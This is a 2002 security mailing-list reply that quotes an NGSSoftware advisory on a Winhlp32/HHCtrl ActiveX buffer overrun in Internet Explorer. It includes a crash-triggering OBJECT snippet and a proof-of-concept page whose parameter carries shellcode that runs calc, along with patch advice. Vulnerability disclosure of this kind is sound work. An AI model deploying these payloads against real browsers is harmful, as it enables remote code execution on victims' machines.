Re: Winhelp32 Remote Buffer Overrun

From: Jelmer (jelmerat_private)
Date: Thu Aug 01 2002 - 17:19:14 PDT

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    I just installed servicepack 3 and the following code still crashed my my
    IE6 with a memory could not be refferenced error.
    
     <OBJECT ID=hhctrl TYPE="application/x-oleobject"
    CLASSID="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
        <PARAM name="Command" value="Shortcut">
        <PARAM name="Button" value="Bitmap:shortcut">
        <PARAM name="Item1" value=",,">
        <PARAM name="Item2" value="273,1,1">
        <PARAM name="codebase" value="">
        <PARAM name="Font" value=" A VERY VERY LONG STRING ">
    </OBJECT>
    
    I have been told this means it is most likely exploitable. I am not into
    buffer overflows myself though, maybe someone can confirm this. Anyways I
    notified microsoft of this several months ago. The day after I notified them
    someone pointed me to the ngssoftware advisory *sob*, and I notified
    microsoft that this was probably the same issue, last I heard from them they
    where looking in to if this was indeed the case. It's been several months
    and as far as I know they are still looking.
    
    --
     jelmer
    
    ----- Original Message -----
    From: "Next Generation Insight Security Research Team"
    <markat_private>
    To: <bugtraqat_private>; <ntbugtraqat_private>
    Sent: Friday, August 02, 2002 3:59 AM
    Subject: Winhelp32 Remote Buffer Overrun
    
    
    > -----BEGIN PGP SIGNED MESSAGE-----
    > Hash: SHA1
    >
    > NGSSoftware Insight Security Research Advisory
    >
    > Name:    Winhlp32.exe Remote BufferOverrun
    > Systems Affected:  Win2K Platform
    > Severity:  Critical
    > Category:               Remote Buffer Overrun
    > Vendor URL:   http://www.mircosoft.com
    > Author:   Mark Litchfield (markat_private)
    > Date:   1st August 2002
    > Advisory number: #NISR01082002
    >
    >
    > Description
    > ***********
    >
    > Many of the features available in HTML Help are implemented through
    > the HTML Help ActiveX control (HHCtrl.ocx). The HTML Help ActiveX
    > control is used to provide navigation features (such as a table of
    > contents), to display secondary windows and pop-up definitions, and
    > to provide other features. The HTML Help ActiveX control can be used
    > from topics in a compiled Help system as well as from HTML pages
    > displayed in a Web browser. The functionality provided by the HTML
    > Help ActiveX control will run in the HTML Help Viewer or in any
    > browser that supports ActiveX technology, such as Internet Explorer
    > (version 3.01 or later). Some features, as with the WinHlp Command,
    > provided by the HTML Help ActiveX control are meant to be available
    > only when it is used from a compiled HTML Help file (.chm) that is
    > displayed by using the HTML Help Viewer.
    >
    > Details
    > *******
    >
    > Winhlp32.exe is vulnerable to a bufferoverrun attack using the Item
    > parameter within WinHlp Command, the item parameter is used to
    > specify the file path of the WinHelp (.hlp) file in which the WinHelp
    > topic is stored, and the window name of the target window.  Using
    > this overrun, an attacker can successfully exectute arbitary code on
    > a remote system by either encouraging the victim to visit a
    > particular web page, whereby code would execute automatically, or by
    > including the exploit within the source of an email.  In regards to
    > email, execution would automatically occur when the mail appears in
    > the preview pane and ActiveX objects are allowed (This is allowed by
    > default, the Internet Security Settings would have to be set as HIGH
    > to prevent execution of this vulnerability). Any exploit would
    > execute in the context of the logged on user.
    >
    > Visual POC Exploit
    > ******************
    >
    > This POC will simply display Calculator.  Please note that this
    > written on a Win2k PC with SP2 installed.  I have not tested it on
    > anything else.
    >
    > <OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
    > codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp
    > type=application/x-oleobject width=0><PARAM NAME="Width"
    > VALUE="26"><PARAM NAME="Height" VALUE="26"><PARAM NAME="Command"
    > VALUE="WinHelp"><PARAM NAME="Item1"
    > VALUE="3ĄPhcalc4$&#402;Ą&#1;PVøƧéw’Š3ĄP¾&#8221;éw’ÖAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOP
    > PPPQQQQRRRRSSSSTTTAAAA&#11;©õwABCDEFGH&#402;Ę&#21;’ęgMyWindow"><PARAM
    > NAME="Item2" VALUE="NGS Software LTD"></OBJECT>
    > <SCRIPT>winhelp.HHClick()</SCRIPT>
    >
    >
    > Fix Information
    > ***************
    >
    > NGSSoftware alerted Microsoft to these problems on the 6th March
    > 2002. NGSSoftware highly recommend installing Microsoft Windows SP3,
    > as the fix has been built into this service pack found at
    > http://www.microsoft.com
    > An alternative to these patches would be to ensure the security
    > settings found in the Internet Options is set to high. Despite the
    > Medium setting, stating that unsigned ActiveX controls will not be
    > downloaded, Kylie will still execute Calc.exe.  Another alternative
    > would be to remove winhlp32.exe if it is not required within your
    > environment.
    > A check for these issues has been added to Typhon II, of which more
    > information is available from the
    > NGSSoftware website, http://www.ngssoftware.com.
    >
    > Further Information
    > *******************
    >
    > For further information about the scope and effects of buffer
    > overflows, please see
    >
    > http://www.ngssoftware.com/papers/non-stack-bo-windows.pdf
    > http://www.ngssoftware.com/papers/ntbufferoverflow.html
    > http://www.ngssoftware.com/papers/bufferoverflowpaper.rtf
    > http://www.ngssoftware.com/papers/unicodebo.pdf
    >
    >
    >
    >
    >
    >
    >
    >
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    >
    



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